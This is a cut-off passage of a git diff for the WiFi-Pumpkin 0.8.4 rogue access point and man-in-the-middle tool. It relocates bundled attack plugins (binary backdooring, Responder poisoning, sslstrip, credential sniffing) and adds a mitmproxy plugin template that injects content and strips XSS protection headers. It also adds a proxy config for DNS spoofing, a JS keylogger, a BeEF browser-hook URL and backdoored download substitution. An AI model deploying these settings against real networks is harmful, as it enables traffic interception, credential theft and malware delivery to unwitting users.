external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/filedlgs.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/makeit.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/rsrc.rc (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/tbmacros.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/masm32/toolbar.asm (100%) rename plugins/{sergio_proxy/sslstrip => external/BDFProxy-ng/bdf/aPLib/contrib/python}/__init__.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/python/aplib.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/tmt/aplibu.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/tmt/appack.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/tmt/apunpack.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/tmt/makeit.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplib.def (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibu.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/aplibud.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/appack.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/apunpack.pas (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/descript.ion (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/make_exe.cmd (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/test_exe.cmd (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/contrib/vpascal/vpc.cfg (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/aPLib.chm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/.buildinfo (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_sources/acknowledgements.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_sources/changes.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_sources/compression.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_sources/decompression.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_sources/general.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_sources/index.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_sources/license.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/ajax-loader.gif (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/basic.css (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-bright.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment-close.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/comment.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/default.css (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/minus.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/plus.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/pygments.css (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/searchtools.js (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/sidebar.js (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/underscore.js (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/up-pressed.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/up.png (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/_static/websupport.js (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/acknowledgements.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/changes.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/compression.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/decompression.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/general.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/genindex.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/index.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/license.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/objects.inv (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/search.html (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/doc/html/searchindex.js (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/appack.c (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/make_dll.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/make_pc.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/make_vc.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/make_wat.bat (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/makefile.cyg (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/makefile.elf (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/makefile.macho (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/example/makefile.mgw (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/readme.txt (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/sdepack.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/sgetsize.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/64bit/spack.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/depack.c (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/depack.h (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/depacks.c (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/aPLib/src/depacks.h (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/arm/LinuxARMLELF32.py (100%) rename plugins/{sslstrip => external/BDFProxy-ng/bdf/arm}/__init__.py (100%) rename plugins/{Responder/logs/.gitignore => external/BDFProxy-ng/bdf/asm/__init__.py} (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/asm/build.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/asm/src/loadliba_reverse_tcp.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/asm/src/loadliba_shell.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/asm/src/loadliba_single_shell_reverse_tcp.asm (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/backdoor.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/elfbin.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/install.sh (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/FreeBSDIntelELF32.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/LinuxIntelELF32.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/LinuxIntelELF64.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/MachoIntel32.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/MachoIntel64.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/WinIntelPE32.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/WinIntelPE64.py (100%) rename plugins/{Responder/tools/MultiRelay/creddump/README => external/BDFProxy-ng/bdf/intel/__init__.py} (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/intelCore.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/intel/intelmodules.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/machobin.py (100%) rename plugins/{Responder/tools/MultiRelay/relay-dumps/.gitignore => external/BDFProxy-ng/bdf/onionduke/__init__.py} (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/onionduke/onionduke.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/payloadtests.py (99%) rename plugins/{ => external}/BDFProxy-ng/bdf/pebin.py (99%) rename plugins/{ => external}/BDFProxy-ng/bdf/update.sh (100%) rename plugins/{dns2proxy/victims.cfg => external/BDFProxy-ng/bdf/winapi/__init__.py} (100%) rename plugins/{ => external}/BDFProxy-ng/bdf/winapi/winapi.py (100%) rename plugins/{ => external}/BDFProxy-ng/bdf_proxy.py (99%) rename plugins/{ => external}/BDFProxy-ng/bdfproxy.cfg (98%) rename plugins/{ => external}/BDFProxy-ng/bdfproxy_msf_resource.rc (100%) rename plugins/{ => external}/BDFProxy-ng/requirements.txt (100%) rename plugins/{ => external}/BDFProxy-ng/test_script.sh (100%) rename plugins/{ => external}/BDFProxy-ng/wpBDF.sh (100%) rename plugins/{ => external}/Responder/.gitignore (100%) rename plugins/{ => external}/Responder/LICENSE (100%) rename plugins/{ => external}/Responder/README.md (100%) rename plugins/{ => external}/Responder/Responder.conf (92%) rename plugins/{ => external}/Responder/Responder.py (97%) create mode 100644 plugins/external/Responder/__init__.py rename plugins/{ => external}/Responder/certs/gen-self-signed-cert.sh (100%) rename plugins/{ => external}/Responder/certs/responder.crt (100%) rename plugins/{ => external}/Responder/certs/responder.key (100%) rename plugins/{ => external}/Responder/files/AccessDenied.html (100%) rename plugins/{ => external}/Responder/files/BindShell.exe (100%) rename plugins/{ => external}/Responder/fingerprint.py (100%) create mode 100644 plugins/external/Responder/logs/.gitignore rename plugins/{ => external}/Responder/odict.py (100%) rename plugins/{ => external}/Responder/packets.py (100%) rename plugins/{ => external}/Responder/poisoners/LLMNR.py (100%) rename plugins/{ => external}/Responder/poisoners/MDNS.py (100%) rename plugins/{ => external}/Responder/poisoners/NBTNS.py (100%) create mode 100644 plugins/external/Responder/poisoners/__init__.py rename plugins/{ => external}/Responder/servers/Browser.py (100%) rename plugins/{ => external}/Responder/servers/DNS.py (100%) rename plugins/{ => external}/Responder/servers/FTP.py (100%) rename plugins/{ => external}/Responder/servers/HTTP.py (100%) rename plugins/{ => external}/Responder/servers/HTTP_Proxy.py (100%) rename plugins/{ => external}/Responder/servers/IMAP.py (100%) rename plugins/{ => external}/Responder/servers/Kerberos.py (100%) rename plugins/{ => external}/Responder/servers/LDAP.py (100%) rename plugins/{ => external}/Responder/servers/MSSQL.py (100%) rename plugins/{ => external}/Responder/servers/POP3.py (100%) rename plugins/{ => external}/Responder/servers/Proxy_Auth.py (100%) rename plugins/{ => external}/Responder/servers/SMB.py (100%) rename plugins/{ => external}/Responder/servers/SMTP.py (100%) create mode 100644 plugins/external/Responder/servers/__init__.py rename plugins/{ => external}/Responder/settings.py (99%) rename plugins/{ => external}/Responder/tools/BrowserListener.py (100%) rename plugins/{ => external}/Responder/tools/DHCP.py (100%) rename plugins/{ => external}/Responder/tools/DHCP_Auto.sh (100%) rename plugins/{ => external}/Responder/tools/FindSMB2UPTime.py (100%) rename plugins/{ => external}/Responder/tools/FindSQLSrv.py (100%) rename plugins/{ => external}/Responder/tools/Icmp-Redirect.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/RelayMultiCore.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/RelayMultiPackets.py (100%) create mode 100644 plugins/external/Responder/tools/MultiRelay/__init__.py rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/CHANGELOG (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/COPYING (100%) create mode 100644 plugins/external/Responder/tools/MultiRelay/creddump/README create mode 100644 plugins/external/Responder/tools/MultiRelay/creddump/__init__.py rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/cachedump.py (100%) create mode 100644 plugins/external/Responder/tools/MultiRelay/creddump/framework/__init__.py rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/addrspace.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/newobj.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/object.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/types.py (100%) create mode 100644 plugins/external/Responder/tools/MultiRelay/creddump/framework/win32/__init__.py rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/win32/domcachedump.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/win32/hashdump.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/win32/lsasecrets.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/framework/win32/rawreg.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/lsadump.py (100%) rename plugins/{ => external}/Responder/tools/MultiRelay/creddump/pwdump.py (100%) create mode 100644 plugins/external/Responder/tools/MultiRelay/relay-dumps/.gitignore rename plugins/{ => external}/Responder/tools/RunFinger.py (100%) rename plugins/{ => external}/Responder/tools/SMBFinger/Finger.py (100%) create mode 100644 plugins/external/Responder/tools/SMBFinger/__init__.py rename plugins/{ => external}/Responder/tools/SMBFinger/odict.py (100%) create mode 100644 plugins/external/Responder/tools/__init__.py rename plugins/{ => external}/Responder/tools/odict.py (100%) rename plugins/{ => external}/Responder/utils.py (99%) create mode 100644 plugins/external/__init__.py rename plugins/{ => external}/dns2proxy/IPBouncer.sh (100%) rename plugins/{ => external}/dns2proxy/README.md (100%) create mode 100644 plugins/external/dns2proxy/__init__.py rename plugins/{ => external}/dns2proxy/dns2proxy.py (98%) rename plugins/{ => external}/dns2proxy/dnsalert.txt (100%) rename plugins/{ => external}/dns2proxy/dnslog.txt (100%) rename plugins/{ => external}/dns2proxy/domains.cfg (100%) rename plugins/{ => external}/dns2proxy/fhtagn.sh (100%) rename plugins/{ => external}/dns2proxy/ia.sh (100%) rename plugins/{ => external}/dns2proxy/nospoof.cfg (100%) rename plugins/{ => external}/dns2proxy/nospoofto.cfg (100%) rename plugins/{ => external}/dns2proxy/resolv.conf (100%) rename plugins/{ => external}/dns2proxy/spoof.cfg (100%) rename plugins/{ => external}/dns2proxy/transform.cfg (100%) create mode 100644 plugins/external/dns2proxy/victims.cfg rename plugins/{ => external}/net-creds/LICENSE (100%) rename plugins/{ => external}/net-creds/README.md (100%) rename plugins/{ => external}/net-creds/__init__.py (100%) rename plugins/{ => external}/net-creds/net-creds.py (100%) rename plugins/{ => external}/net-creds/requirements.txt (100%) rename {proxy => plugins/external/scripts}/Plugin.py (100%) rename {proxy => plugins/external/scripts}/__init__.py (100%) rename {proxy => plugins/external/scripts}/background.py (100%) rename {proxy => plugins/external/scripts}/beef.py (100%) rename {proxy => plugins/external/scripts}/blurpage.py (100%) rename {proxy => plugins/external/scripts}/css/flipimages.css (100%) rename {proxy => plugins/external/scripts}/css_injection.py (100%) rename {proxy => plugins/external/scripts}/htmlinjector.py (100%) rename {proxy => plugins/external/scripts}/js/shake.js (100%) rename {proxy => plugins/external/scripts}/js_injection.py (100%) rename {proxy => plugins/external/scripts}/noscroll.py (100%) rename {proxy => plugins/external/scripts}/shakepage.py (100%) rename {proxy => plugins/external/scripts}/title.py (100%) rename plugins/{ => external}/sergio_proxy/README.txt (100%) create mode 100644 plugins/external/sergio_proxy/__init__.py rename plugins/{ => external}/sergio_proxy/argparse.py (100%) rename plugins/{ => external}/sergio_proxy/data/blank.pdf (100%) rename plugins/{ => external}/sergio_proxy/examples/base-example.args (100%) rename plugins/{ => external}/sergio_proxy/examples/browserpwn-example.args (100%) rename plugins/{ => external}/sergio_proxy/examples/filepwn-example.args (100%) rename plugins/{ => external}/sergio_proxy/examples/smbauth-example.args (100%) rename plugins/{ => external}/sergio_proxy/lock.ico (100%) rename plugins/{ => external}/sergio_proxy/plugins/ArpSpoof.py (97%) rename plugins/{ => external}/sergio_proxy/plugins/BrowserPwn.py (92%) rename plugins/{ => external}/sergio_proxy/plugins/CacheKill.py (93%) rename plugins/{ => external}/sergio_proxy/plugins/FilePwn.py (98%) rename plugins/{ => external}/sergio_proxy/plugins/Inject.py (97%) rename plugins/{ => external}/sergio_proxy/plugins/SMBAuth.py (88%) rename plugins/{ => external}/sergio_proxy/plugins/StartMSF.py (97%) rename plugins/{ => external}/sergio_proxy/plugins/Upsidedownternet.py (96%) rename plugins/{ => external}/sergio_proxy/plugins/__init__.py (100%) rename plugins/{ => external}/sergio_proxy/plugins/plugin.py (100%) rename plugins/{ => external}/sergio_proxy/plugins/test.py (89%) rename plugins/{ => external}/sergio_proxy/sergio-proxy.py (96%) rename plugins/{ => external}/sergio_proxy/sslstrip/COPYING.sslstrip (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/ClientRequest.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/CookieCleaner.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/DnsCache.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/DummyResponseTamperer.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/ProxyPlugins.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/README.sergio-proxy (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/README.sslstrip (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/ResponseTampererFactory.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/SSLServerConnection.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/ServerConnection.py (98%) rename plugins/{ => external}/sergio_proxy/sslstrip/ServerConnectionFactory.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/StrippingProxy.py (100%) rename plugins/{ => external}/sergio_proxy/sslstrip/URLMonitor.py (100%) create mode 100644 plugins/external/sergio_proxy/sslstrip/__init__.py rename plugins/{ => external}/sslstrip/COPYING (100%) rename plugins/{ => external}/sslstrip/COPYING.sslstrip (100%) rename plugins/{ => external}/sslstrip/ClientRequest.py (100%) rename plugins/{ => external}/sslstrip/CookieCleaner.py (100%) rename plugins/{ => external}/sslstrip/DnsCache.py (100%) rename plugins/{ => external}/sslstrip/DummyResponseTamperer.py (100%) rename plugins/{ => external}/sslstrip/README.md (100%) rename plugins/{ => external}/sslstrip/ResponseTampererFactory.py (100%) rename plugins/{ => external}/sslstrip/SSLServerConnection.py (100%) rename plugins/{ => external}/sslstrip/ServerConnection.py (99%) rename plugins/{ => external}/sslstrip/ServerConnectionFactory.py (100%) rename plugins/{ => external}/sslstrip/StrippingProxy.py (100%) rename plugins/{ => external}/sslstrip/URLMonitor.py (100%) create mode 100644 plugins/external/sslstrip/__init__.py diff --git a/CHANGELOG b/CHANGELOG index ff35aa5..f5c2541 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,9 @@ +Version 0.8.4 +------------- +- added new plugin Pumpkin-Proxy (mitmproxy API) +- added new notifications for donations +- fixed theme default QtableView Color hover + Version 0.8.3 ------------- - added new design main tool diff --git a/README.md b/README.md index d3551e2..bfa171c 100644 --- a/README.md +++ b/README.md @@ -15,9 +15,9 @@ WiFi-Pumpkin is an open source security tool that provides the Rogue access poin cd WiFi-Pumpkin ./installer.sh --install ``` -or download .deb file to install +or download [.deb](https://github.com/P0cL4bs/WiFi-Pumpkin/releases) file to install ``` sh -sudo dpkg -i wifi-pumpkin-0.8.3-amd64.deb #for arch 64. +sudo dpkg -i wifi-pumpkin-0.8.4-all.deb ``` @@ -40,6 +40,7 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik * Patch Binaries via MITM * Karma Attacks (support hostapd-mana) * LLMNR, NBT-NS and MDNS poisoner (Responder) +* Pumpkin-Proxy (ProxyServer (mitmproxy API)) ### Plugins | Plugin | Description | @@ -52,49 +53,68 @@ refer to the wiki for [Installation](https://github.com/P0cL4bs/WiFi-Pumpkin/wik [Responder](https://github.com/lgandx/Responder) | Responder an LLMNR, NBT-NS and MDNS poisoner. Author: Laurent Gaffie ### Transparent Proxy - Transparent proxies that you can use to intercept and manipulate HTTP traffic modifying requests and responses, that allow to inject javascripts into the targets visited. You can easily implement a module to inject data into pages creating a python file in directory "proxy" automatically will be listed on Injector-Proxy tab. -### Plugins Example - The following is a sample module that injects some contents into the tag to set blur filter into body html page: - ``` python -import logging -from Plugin import PluginProxy -from core.utils import setup_logger - -class blurpage(PluginProxy): - ''' this module proxy set blur into body page html response''' - _name = 'blur_page' - _activated = False - _instance = None - _requiresArgs = False - - @staticmethod - def getInstance(): - if blurpage._instance is None: - blurpage._instance = blurpage() - return blurpage._instance - - def __init__(self): - self.injection_code = [] - - def LoggerInjector(self,session): - setup_logger('injectionPage', './logs/AccessPoint/injectionPage.log',session) - self.logging = logging.getLogger('injectionPage') +![proxy](https://raw.githubusercontent.com/P0cL4bs/WiFi-Pumpkin/master/docs/proxyscenario.png) - def setInjectionCode(self, code,session): - self.injection_code.append(code) - self.LoggerInjector(session) - - def inject(self, data, url): - injection_code = ''' ''' - self.logging.info("Injected: %s" % (url)) - return data.replace('',injection_code ) + Transparent proxies(mitmproxy) that you can use to intercept and manipulate HTTP traffic modifying requests and responses, that allow to inject javascripts into the targets visited. You can easily implement a module to inject data into pages creating a python file in directory "plugins/extension/" automatically will be listed on Pumpkin-Proxy tab. +#### Plugins Example Dev + ``` python +from mitmproxy.models import decoded # for decode content html +from plugins.extension.plugin import PluginTemplate + +class Nameplugin(PluginTemplate): + meta = { + 'Name' : 'Nameplugin', + 'Version' : '1.0', + 'Description' : 'Brief description of the new plugin', + 'Author' : 'by dev' + } + def __init__(self): + for key,value in self.meta.items(): + self.__dict__[key] = value + # if you want set arguments check refer wiki more info. + self.ConfigParser = False # No require arguments + + def request(self, flow): + print flow.__dict__ + print flow.request.__dict__ + print flow.request.headers.__dict__ # request headers + host = flow.request.pretty_host # get domain on the fly requests + versionH = flow.request.http_version # get http version + + # get redirect domains example + # pretty_host takes the "Host" header of the request into account, + if flow.request.pretty_host == "example.org": + flow.request.host = "mitmproxy.org" + + # get all request Header example + self.send_output.emit("\n[{}][HTTP REQUEST HEADERS]".format(self.Name)) + for name, valur in flow.request.headers.iteritems(): + self.send_output.emit('{}: {}'.format(name,valur)) + + print flow.request.method # show method request + # the model printer data + self.send_output.emit('[NamePlugin]:: this is model for save data logging') + + def response(self, flow): + print flow.__dict__ + print flow.response.__dict__ + print flow.response.headers.__dict__ #convert headers for python dict + print flow.response.headers['Content-Type'] # get content type + + #every HTTP response before it is returned to the client + with decoded(flow.response): + print flow.response.content # content html + flow.response.content.replace('','

injected

') # replace content tag + + del flow.response.headers["X-XSS-Protection"] # remove protection Header + + flow.response.headers["newheader"] = "foo" # adds a new header + #and the new header will be added to all responses passing through the proxy ``` - +#### About plugins +[plugins](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Plugins) on the wiki + ### Screenshots [Screenshot](https://github.com/P0cL4bs/WiFi-Pumpkin/wiki/Screenshots) on the wiki diff --git a/core/config/app/config.ini b/core/config/app/config.ini index 1bf306b..2af584a 100644 --- a/core/config/app/config.ini +++ b/core/config/app/config.ini @@ -69,21 +69,23 @@ range=10.0.0.20/10.0.0.50 [dockarea] advanced=true -dock_credencials=true +dock_credencials=false dock_urlmonitor=true dock_bdfproxy=false dock_dns2proxy=false dock_responder=false +dock_PumpkinProxy=true [plugins] noproxy=false netcreds_plugin=true -dns2proxy_plugin=true +dns2proxy_plugin=false sergioproxy_plugin=false bdfproxy_plugin=false responder_plugin=false -bdfproxy_config=plugins/BDFProxy-ng/bdfproxy.cfg -responder_config=plugins/Responder/Responder.conf +pumpkinproxy_plugin=true +bdfproxy_config=plugins/external/BDFProxy-ng/bdfproxy.cfg +responder_config=plugins/external/Responder/Responder.conf [iptables] iptables_0_masq=iptables -P FORWARD ACCEPT diff --git a/core/config/app/proxy.ini b/core/config/app/proxy.ini new file mode 100644 index 0000000..b1dc6e9 --- /dev/null +++ b/core/config/app/proxy.ini @@ -0,0 +1,38 @@ +[plugins] +dnsspoof=false +sslstrip=false +jskeylogger=false +stickycookie=false +downloadspoof=false +js_inject=false +html_inject=false +dump_post_data=false +upsidedownternet=false +beef=false +replaceImages=false +inverted_internet=false +shakepage=false + +[set_dnsspoof] +domain_0={'facebook.com':'10.0.0.1'} +domain_1={'teste.com':'10.0.0.1'} +domain_2={'example.com':'10.0.0.1'} +domain_3={'website.com':'10.0.0.1'} + +[set_js_inject] +url=http://example.com/foo.js + +[set_replaceImages] +path=icons/logo.png + +[set_beef] +hook=http://172.16.149.141:3000/hook.js + +[set_html_inject] +content_path=file.html + +[set_downloadspoof] +backdoorExePath=plguins/extension/tmp/exe/backdoor.exe +backdoorPDFpath=plguins/extension/tmp/pdf/backdoor.pdf +backdoorWORDpath=plguins/extension/tmp/doc/backdoor.doc +backdoorXLSpath=plguins/extension/tmp/xls/backdoor.xls diff --git a/core/config/commits/Lcommits.cfg b/core/config/commits/Lcommits.cfg index e85c8aa..d4bfe6d 100644 --- a/core/config/commits/Lcommits.cfg +++ b/core/config/commits/Lcommits.cfg @@ -1,4 +1,12 @@ master: +[ + { Version: '0.8.4'} + { changelog : 'added new plugin Pumpkin-Proxy (mitmproxy API)' }, + { changelog : 'added new notifications for donations' }, + { changelog : 'fixed theme default QtableView Color hover' }, +] + +WiFiPumpkin083: [ { Version: '0.8.3'} { changelog : 'added new design main tool' }, diff --git a/core/helpers/about.py b/core/helpers/about.py index 1ffd2b8..1e2c4d7 100644 --- a/core/helpers/about.py +++ b/core/helpers/about.py @@ -35,6 +35,8 @@ def __init__(self,parent = None): self.scroll.setWidget(self.scrollwidget) self.formMode = QFormLayout() + self.formMode.addRow(QLabel('@mitmproxy')) + self.formMode.addRow(QLabel('ProxyServer tranparent HTTP proxy
')) self.formMode.addRow(QLabel('@TimSchumi')) self.formMode.addRow(QLabel('Debian package build for WiFi-Pumpkin
')) self.formMode.addRow(QLabel('@psychomario')) @@ -95,8 +97,9 @@ def Qui_update(self): self.tabwid = QTabWidget(self) self.TabAbout = QWidget(self) self.TabVersion = QWidget(self) - self.TabTranks = QWidget() + self.TabTranks = QWidget(self) self.TabChangelog = QWidget(self) + self.TabDonate = QWidget(self) self.btn_exit = QPushButton("Close") self.btn_exit.setFixedWidth(90) self.btn_exit.setIcon(QIcon('icons/cancel.png')) @@ -106,6 +109,7 @@ def Qui_update(self): self.formVersion = QFormLayout() self.formTranks = QFormLayout() self.formChange = QFormLayout() + self.formDonate = QFormLayout() # About section self.formAbout.addRow(self.desc) @@ -121,6 +125,20 @@ def Qui_update(self): self.formAbout.addRow(QLabel('
{}
'.format(self.author[-14:]))) self.TabAbout.setLayout(self.formAbout) + #Donate section + self.formDonate.addRow(QLabel('Open source project require developer time.
' + ' You need dev time to fix bugs, you need dev time
